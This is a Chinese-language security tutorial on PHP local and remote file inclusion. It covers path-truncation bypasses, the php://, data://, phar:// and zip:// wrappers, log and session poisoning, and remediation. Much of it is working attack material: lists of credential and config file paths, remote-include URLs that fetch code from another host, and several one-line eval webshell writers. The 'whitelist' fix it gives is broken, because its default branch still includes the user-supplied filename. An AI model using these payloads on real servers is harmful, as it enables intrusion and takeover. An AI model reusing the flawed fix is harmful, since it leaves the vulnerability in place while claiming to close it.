文件包含漏洞
0X01 概述:
-
在开发过程中,程序员喜欢讲重复的函数写到一个单独的文件里,在需要某个函数时直接调用该文件,这种文件调用的过程一般称之为文件包含.
-
当程序员为了使代码计较灵活,通常喜欢将被包含的文件设置为变量,进行动态调用.而文件包含的函数加载的参数如果没有进行严格的过滤或者严格的定义,参数能被用户控制,就可能会造成文件包含漏洞.
-
(包含其他的恶意文件,导致了执行了非预期的代码.从而导致客户端可以调用一个恶意文件,造成文件包含漏洞)
0X01 PHP包含:
1. 四大函数:
-
include() :程序执行到include时才开始包含文件,找不到包含文件时会产生报警,但程序会继续执行;
-
require() :只要程序一运行就开始包含文件,当找不到被包含的文件时会产生错误报警,程序将会停止运行;
-
include_once() :功能与include()函数类似,但二者的区别是该文件中的代码如果已经被包含,进不会进行二次包含;
-
require_once() :功能与require()函数类似,但二者的区别是该文件中的代码如果已经被包含,进不会进行二次包含;
2. 常见的敏感信息路径
利用本地文件包含漏洞可以获取系统本地的其他文件的内容,常见敏感文件如下:
-
Windows 系统
c:\boot.ini 查看系统版本信息
c:\xxx\php.ini php配置信息c:\windows\php.ini php 配置信息
c:\xxx\my.ini MySQL 配置信息(放在mysql安装的根目录)
c:\ProgramFiles\mysql\my.ini MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD MySQL root密码
c:\xxx\httpd.conf Apache 配置信息
c:\windows\system32\inetsrv\metabase.xml IIS6.0配置文件
MetaBase.xml IIS配置文件(MetaBase文件相当于注册表数据库了)
c:\windows\system32\inetsrv\metabase.xml IIS6.0的存在于目录
%windir%\system32\inetsrv\config\applicationhost.config IIS7.0的存在于目录
C:\Windows\system32\config\SAM 系统正在使用的账户数据库文件
C:\Windows\repair\SAM 账户数据库的备份文件
SAM文件是Windows系统的用户账户数据库,所有用户的登录名及口令等信息都会保存在这个文件中.SAM文件类似于Linux系统的/etc/passwd文件,但是没有passwd那么直观.我们可以通过进入dos界面执行命令delC:\WINDOWS\system32\config\SAM删除SAM文件,输入Administrator加空密码登录计算机.
-
Linux 系统
/etc/passwd 账号信息/etc/shadow 账户密码文件
/etc/httpd/conf/httpd.conf Apache 配置信息
/usr/local/app/apache2/conf/httpd.conf Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置
/etc/my.cnf MySQL 配置文件
/usr/etc/php.ini PHP 配置信息/usr/local/app/php5/lib/php.ini PHP相关配置
0x02 文件包含漏洞分类:
一、本地文件包含
1.无限制的本地文件包含
可使用相对路径直接包含敏感文件
2.有限制的本地文件包含
有限制本地文件包含漏洞是指开发者限制了包含文件的前缀或者“php”,“html”等后缀,
需要绕过前缀或者后缀,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。
常见绕过姿势:
1. %00截断
条件:
1). PHP版本 < 5.3 (不包括5.3) ;
2). PHPmagic_quotes_gpc =off
;
3).PHP对所接收的参数,如以上代码的$_GET['file']
未使用addslashes
函数。因为PHP大于等于5.3的版本已经修复了这个问题,如果开启了
gpc
或者使用了addslashes
函数的话则会对其进行转义addslashes()函数,作用:在每个双引号(")前添加反斜杠进行转义
实例:
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
2. 长路径截断
条件: windows OS,点号需要长于256;linux OS 长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
实例:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
3. 点号截断.等同于长路径截断
条件:windows OS,点号需要长于256
http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
二、远程文件包含
远程文件包含是指被包含的文件不在本地服务器上,而是包含远程服务器上面的文件.
2.1 无限制的远程文件包含
概述:
无限制远程文件包含是指包含的文件的位置并不仅限于是在本地服务器,而是可以通过 URL 的形式,包含其他服务器上的文件,执行其他服务器中文件的恶意代码。
条件:
allow_url_fopen=on
allow_url_include=on
值得注意的是:远程文件包含漏洞,会将包含的任意文件后缀当做PHP代码执行.
实例:
http://www.ctfswiki.com/FI/index.php?filename=http://192.168.91.133/FI/php.txt
2.2 有限制的远程文件包含
示例代码:
<?php
include($_GET['filename'].".html");
?>
常见绕过姿势:
1. 问号绕过
通过问号绕过后面添加的html字符串,因为问号?后面的html后缀会被当做查询,从而进行绕过.
实例:
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
2. #号绕过
通过#绕过后面添加的 html 字符串,因为#后面的 html 后缀会被当做 fragment 从而绕过
实例:
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
3. 空格绕过
利用 burpsuit fuzz 发现空格也是可以绕过,在 payload 的最后面将空格进行 URL 编码,发现可以绕过
实例:
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
三、文件包含之PHP封装协议利用
概括:
封装是指将多个可重复使用的函数封装到一个类里面,在使用时直接实例化该类的某个方法,获取所需要的数据.
PHP协议类型:
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
PHP要开启包含功能,首先要修改PHP的配置文件(php.ini):
allow_url_fopen : on/off 开启将允许URL形式的封装协议使得可以访问URL对象文件等.
allow_url_include : on/off 开启便是允许 包含URL 对象文件等
3.1 php伪协议
1. php://filter(本地磁盘文件读取)
最常用的伪协议,一般可以对任意文件进行读取.
条件:
allow_url_fopen=off
allow_url_include=off
用法:
第一种用法:
?filename=php://filter/convert.base64-encode/resouce=xxx.php?
第二种用法:
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
获取的数据结果是经过base64加密后的数据
2.php://input
php://input可以访问请求的原始数据的只读流(即可以直接读取到POST上没有经过解析的原始数据流),可以将POST请求中的数据作为PHP代码执行
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
注意:
使用 enctype=“multipart/form-data” 的时候 php://input 是无效的
enctype属性定义和用法
(HTML 标签的 enctype 属性)
enctype 属性规定在发送到服务器之前应该如何对表单数据进行编码。
默认地,表单数据会编码为 “application/x-www-form-urlencoded”。就是说,在发送到服务器之前,所有字符都会进行编码(空格转换为 “+” 加号,特殊符号转换为 ASCII HEX 值)。
语法
<form enctype="value">
用法:
?file=php://input 数据利用POST传过去
利用方式:
方式一:php://input (读取POST数据)
php://input 可以直接读取到 POST 上没有经过解析的原始数据,可以利用 php://input 读取 POST 数据。
条件:不需要开启 allow_url_fopen,不需要开启 allow_url_include。
实例代码:
<?php
echo file_get_contents("php://input"); #file_get_contents()函数是用于把文件的内容读入到一个字符串中
?>
方式二:php://input(写入木马)
条件:
allow_url_fopen = off
allow_url_include = on
如果 POST发送的数据是 PHP 代码,就可以造成任意代码执行,可以通过此方式写入木马。
示例代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
在POST中写入如下代码:
<?php fputs(fopen('shell.php','w'),'<?php @eval(\$_POST[cmd])?>');?>
为防止版本有过滤机制,可使用""把POST方法转义一下: $_POST[cmd]
fopen() 打开文件
如: fopen(“ak.txt”,“w”)
以写入的方式打开一个ak.txt 的文档,如果没有此文件就新创建一个
fputs() 写入文件
例如:
<?php $file = fopen("shell.php","w"); echo fputs($file,"Hello World"); fclose($file); ?>
fopen创建shell.php 将文件shell.php传递给变量file, 然后利用fputs函数讲Hello World写入到shell.php中
方式三: php://input(命令执行)
条件:
allow_url_include = on
allow_url_fopen = off
如果 POST发送的数据是 PHP 代码,就可以造成任意代码执行,如果此 PHP 代码调用了系统函数,就可以进行命令执行。
POST 输入:
<?php system('whoami');?>
3.2 file伪协议
file:// :访问本地文件系统
条件:
allow_url_fopen = off
allow_url_include = off
用法:
?page=file://文件的绝对路径/文件
例如:
http://www.ctfs-wiki.com/FI/FI.php?filename=file://C:/boot.ini
3.3 data://伪协议
PHP 版本 5.2.0 起数据流封装器开始有效,主要用于数据流的读取,如果传入的数据3是 PHP 代码,就会执行此代码,可造成任意代码执行。
条件:
allow_url_include = on
allow_url_fopen = off
用法;
data://text/plain;base64,palyload(base64编码后的数据)
示例代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
通过 data 协议传送<?php phpinfo();?>代码 base64 加密后的数据,这样就可以执行phpinfo()函数,<?php phpinfo();?>的 base64 编码为
PD9waHAgcGhwaW5mbygpOz8+,要将最终的+进行 url 编码,最终输入的 data 数据就是
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
输入 data 数据,
http://www.ctfs-wiki.com/FI/FI.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
3.4 phar://伪协议
phar://是用来进行解压的伪协议,phar://参数中的文件不管是什么后缀,都会当做压缩包来解压。
条件:
PHP > =5.3.0
allow_url_include = on
allow_url_fopen = on
用法:
?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
注意:压缩包需要是 zip 协议压缩,rar 不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
实例代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
利用步骤: 通常 phar://伪协议用在有上传功能的网站中,写一个一句话木马文件shell.php,然后用 zip 协议压缩为 shell.zip,然后将后缀改为 png 等其他格式。输入
http://www.ctfs-wiki.com/FI/FI.php?filename=phar://shell.png/shell.php
phar 会把 shell.png 当做 zip 来解压,并且访问解压后的 shell.php 文件,这样就可以通过上传文件的功能将包含shell.php 的木马文件shell.png 上传到网站,然后通过 phar 协议进行漏洞的利用。
3.5 zip伪协议
zip伪协议和phar协议原理相同,但用法不同
条件:
PHP > =5.3.0
allow_url_include = on
allow_url_fopen = on
用法:
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
注意:#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
输入 http://www.ctfs-wiki.com/FI/FI.php?filename=zip://shell.png%23shell.php,zip 伪协议会把 shell.png 当做zip 来解压,并且访问解压后的 shell.php 文件,这样就可以通过上传文件的功能将包含shell.php 的木马文件 shell.png 上传到网站,然后通过 zip 协议进行漏洞的利用。
四、文件包含之包含日志获取webshell
日志的默认路径:
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
Apache日志分类及名称:
Linux:
访问日志:access_log
错误日志:error_log
Windows:
访问日志:access.log
错误日志:error.log
文件包含日志文件的利用原理:
当我们请求index.php页面时,Apache就会记录下我们的操作,并写到访问日志(access.log)中
从文件内容上可以看出,每一行记录了一次网站的访问记录,一共由7部分组成,其格式如下:
客户端地址 访问者的标识 访问者的验证名字 请求时间 请求类型 请求的HTTP代码 发送给客户端的字节数
利用方式:
访问有文件包含漏洞的网页,为了防止playload会被url编码,使用burp抓包,修改请求头写入playload,也可以插入到User-Agent中
已经成功写入一句话,拿到shell
五、远程文件包含shell
allow_url_fopen = on 是否允许打开远程文件
allow_url_include = on 是否允许include/require 远程文件
注意:如果是包含远程服务器的PHP文件,那么得到的是被远程服务器过的PHP,所以在写一句话木马时就不要写成.php的文件,一般包含.txt的文件.
例如:
我们用本地****windows server 2003 服务器包含一个远程Linux服务器上的phpinfo.php文件,那么得到就是远程服务器Linux上的php配置文件,而不是Windows上的php配置文件
远程文件实例:
shell.txt
<?php
echo file_put_contents("muma.php","<?php @eval(\$_POST['x'])?>");
?>
# 注意:在写一句话的时候,要在"$"前面加上"\",目的是防止一句话被过滤
get.txt
<?php
$a="<?php @eval(\$_POST['x]');?>";
$b=fopen("exp.php","w") or ("Unable to open file");
fwrite($b,$a);
fclose($b);
?>
# 远程包含get.txt文件,然后访问exp.php ,通过密码'x' ,在POST中传值(如,执行x=phpinfo() ) ,查看是否有回显. 成功后可直接使用菜刀连接.
六、session文件包含
当session文件的内容可控,并且可以获取session文件的路径,就可以通过包含session文件进行攻击.
利用条件
条件一: session的存储位置可以获取,一般是通过下面两种方式.
方法一: 通过phpinfo的信息可以获取到session的存储位置.
通过phpinfo的信息,获取到session.save_path为/var/lib/php/session
方法二:通过猜测默认的session的存放位置进行尝试.
Linux下默认存储位置在/var/lib/php/session目录下
条件二: session 内容可控
session 中的内容可以被控制,传入恶意代码.
示例代码
<?php
session_star();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
漏洞分析
此 php 代码会将获取到的 GET 型 ctfs 变量的值存入到 session 中。
当访问 http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session 目录下存储 session 的值。
session 的文件名为 sess_+sessionid,sessionid 可以通过开发者模式获取
所以 session 的文件名为 sess_akp79gfiedh13ho11i6f3sm6s6
到服务器的/var/lib/php/session 目录下查看果然存在此文件,内容为:
username|s:4:“ctfs”
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:“ctfs”
漏洞利用
通过上面的分析,可以知道 ctfs 传入的值会存储到 session 文件中,如果存在本地文件包含漏洞,就可以通过 ctfs 写入恶意代码到 session 文件中,然后通过文件包含漏洞执行此恶意代码 getshell。
当访问 http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session 目录下存储 session 的值。
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"<?php phpinfo();?>";
攻击者通过 phpinfo()信息泄露或者猜测能获取到 session 存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码 getshell,
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tNTnNGBF-1602159373171)(基础漏洞整理(个人 )].assets/image-20201008092711792.png)
七、文件包含漏洞修复
7.1代码层修复
通过代码层进行过滤,将包含的参数设置为白名单,示例代码如下
<?php
$filename = $_GET['filename'];
switch ($filename) {
case 'index':
case 'home':
case 'admin':
include '/var/www/html/' .$filename .'.php';
break;
default:
include '/var/www/html/' .$filename .'.php';
}
?>
7.2 web 服务器安全配置
1.修改 php 的配置文件将 open_basedir 的值设置为可以包含的特定目录,后面要加/,例如:open_basedir=/var/www/html/。
2.修改 php 的配置文件关闭 allow_url_include 可以防止远程文件包含。无需情况下设置allow_url_include和allow_url_fopen为关闭
-
尽量不使用动态包含
-
严格检查变量是否已经初始化。
-
建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。
-
严格检查include类的文件包含函数中的参数是否外界可控。
-
不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。